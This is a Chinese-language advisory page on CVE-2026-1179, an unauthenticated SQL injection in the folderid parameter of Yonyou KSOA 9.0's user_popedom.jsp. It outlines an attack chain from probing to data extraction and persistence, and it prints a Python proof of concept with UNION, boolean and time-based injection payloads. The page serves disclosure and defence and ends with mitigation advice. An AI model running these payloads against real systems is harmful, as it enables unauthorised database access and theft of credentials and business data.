IPBUF安全漏洞报告
English
CVE-2026-1179 CVSS 7.3 高危

CVE-2026-1179 用友KSOA 9.0 user_popedom.jsp SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1179
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

CVE-2026-1179SQL注入用友KSOAYonyou KSOA 9.0高危漏洞远程代码执行user_popedom.jspfolderid参数

漏洞概述

CVE-2026-1179是存在于用友KSOA 9.0版本中的一个高危SQL注入漏洞。该漏洞位于/kmf/user_popedom.jsp文件的HTTP GET参数处理模块中,攻击者可以通过操纵folderid参数实现SQL注入攻击。由于该漏洞可远程利用且无需认证,攻击者可以在不获取任何用户凭证的情况下直接对数据库进行未授权访问。成功利用此漏洞可能导致敏感数据泄露、数据库内容篡改,甚至可能在某些配置下实现远程代码执行。该漏洞已被公开披露并可能出现野外利用,厂商用友软件尚未对此做出回应或提供修复方案。

技术细节

该SQL注入漏洞存在于用友KSOA 9.0的/kmf/user_popedom.jsp文件中,具体问题出在对folderid参数的过滤不严。当用户通过HTTP GET请求访问该文件并传递folderid参数时,后端程序直接将用户输入拼接到SQL查询语句中而未进行充分的输入验证和参数化查询处理。攻击者可以通过构造恶意的SQL payloads(如使用UNION SELECT、布尔盲注、时间盲注等技术)来提取数据库中的敏感信息,包括用户凭证、业务数据等。由于该接口通常具有较高的业务权限,攻击者可能获取到管理员级别的数据库访问能力。CVSS 3.1评分7.3(高危)反映了该漏洞的高可利用性和中等程度的影响范围。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标服务器上运行的用友KSOA 9.0版本,确认/kmf/user_popedom.jsp接口存在
STEP 2
步骤2
漏洞探测:向/kmf/user_popedom.jsp发送带有SQL注入payload的HTTP GET请求,测试folderid参数是否存在SQL注入漏洞
STEP 3
步骤3
数据提取:利用UNION SELECT或盲注技术逐步提取数据库中的敏感信息,包括用户表、密码哈希、业务数据等
STEP 4
步骤4
权限提升:基于获取的数据库凭据,尝试获取管理员权限或进一步横向移动
STEP 5
步骤5
持久化控制:在某些情况下,攻击者可能通过SQL注入写入恶意文件或命令,实现服务器持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1179 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/user_popedom.jsp # Parameter: folderid target_url = "http://target-server/kmf/user_popedom.jsp" # Basic authentication bypass detection payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' UNION SELECT version()--" ] def test_sql_injection(): for payload in payloads: params = {'folderid': payload} try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages or time delays if response.elapsed.total_seconds() > 4: print(f"[+] Time-based blind SQL injection confirmed with payload: {payload}") elif 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] SQL error detected with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_sql_injection()

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布前,建议通过Web应用防火墙对/kmf/user_popedom.jsp接口实施临时访问限制,阻止包含SQL特殊字符(如单引号、分号、UNION等)的folderid参数请求。同时建议网络层面限制该接口仅对可信IP开放,并加强数据库操作日志审计以便及时发现异常攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表